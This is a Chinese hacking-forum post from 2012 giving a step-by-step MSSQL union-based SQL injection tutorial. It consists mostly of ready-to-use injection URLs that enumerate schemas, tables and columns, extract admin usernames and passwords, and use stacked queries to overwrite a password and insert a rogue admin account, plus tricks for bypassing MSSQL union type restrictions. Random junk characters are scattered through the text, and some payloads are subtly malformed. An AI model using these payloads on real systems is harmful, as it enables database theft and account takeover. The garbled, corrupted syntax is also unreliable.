找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1868|回复: 0
打印 上一主题 下一主题

MSSQL用union查询爆数据

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:26:06 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
爆库:
- ~5 ~% N6 V6 O- x+ @9 `& Whttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--2 F; q! d* X# l' ]
SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.
; f' Z4 D5 J6 l' h3 l* X: s' F7 _爆下一个库:+ ^& ?, z5 L: ~
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--
( Z' S  f4 P& `0 A1 P0 s" ?" y# r4 h* W( x5 W0 f' d
爆表:
! M+ D% s( x  g5 S0 J$ Zhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--( f' U) l: V- c* \0 N  X9 z$ Q
$ E7 _# b1 f& N
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.. k5 ]4 n1 @( ~. [+ K

; l8 I- b$ N% O$ ?; x! ^爆下一个表
/ x3 l- P+ E9 E" ]/ i4 T% U3 Bhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--3 o6 t; I1 C; b( |4 n5 t

" S5 ?" }& b6 ~7 X: x) O9 Thttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--
5 u; s' m9 v3 ]- V+ Z, e' L8 X# ?3 Y" @3 M/ O  {6 }$ p( T
" C2 i' a. C/ g: R1 v
5 z3 L8 Q% {( I. Q9 U- u* ^
爆字段:) Q" c9 j( Q0 _# T
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--- {3 G) y  D2 \3 z
: _" T0 x1 v/ C! i! I: V6 Q1 u
爆下一个字段
6 n, t) L9 K% G: b6 T- l: U* v! i" Bhttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--: r$ k3 m4 Y3 f, x0 _: s1 X- b

# ~4 d5 X1 S+ b+ rhttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--) W- A5 @1 b  a/ N+ N, [) p) A3 q

! c! J8 D) M, Q
9 Y7 z" [1 Y$ z5 E$ K爆字段里的内容
2 N  B0 D. H+ T" }http://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--1 x6 f* \( I# j! c, c: ]* j% g

6 G/ ?1 ?0 l; @http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
$ Y& m- K) p7 K! p  A+ Y# y, w; c" v9 [( x3 q9 r
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--4 P* d- f: s1 V
. O$ k# |0 l% A2 M
http://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--/ O7 o* g5 @; `, O& E0 Q4 O7 O

) Z0 ~4 {# G: G* i% ~3 o' e更新字段里的内容/ ~- f0 {" T4 w. s1 t
http://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--( m, t8 K  \. O0 B( ~. Y$ v. L1 ~
4 U7 Q6 k# A$ t
http://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--" U$ V+ d/ O: M: {6 V2 C

* ~& x% I2 ?$ I: b# G3 B
5 I8 @' R1 {- K5 f" `
1 L) b+ h! v2 t! O        在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。
" a% @7 m  M& L' a! m: N6 [    第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。
8 F( e$ S& _: K* R# O    第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。& q2 m: c& T4 H8 Q7 X1 y% w
    最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。7 Y6 _* `6 }' c6 x& J# p. P" l
6 B9 s1 r& a; Y5 U3 x6 T# M6 F1 j1 Y
突了了大部份限制的语句4 P$ e+ v0 _8 r' ]
and 1=2 union all select char(49),char(50),null,null;--
$ {2 T$ n0 Z$ A
" U- \) \; A3 E) W: _, S3 F" ]1 r* y* F& t
null也可以正常执行,不过没有回显,不好判断回显的列数。
+ D- s% Z8 g+ d" q* E4 C% r. V一般union遇到问题都是有text或者ntext字段,image的很少遇到. B$ f, _9 @( n" M- G; B& \
. ^' B9 G3 b# H9 g! O- L
可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟% `& O6 K, u" h6 z

. B/ }0 L6 E) n, m# @
7 \1 {3 W! T# ~3 Q% R4 k
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表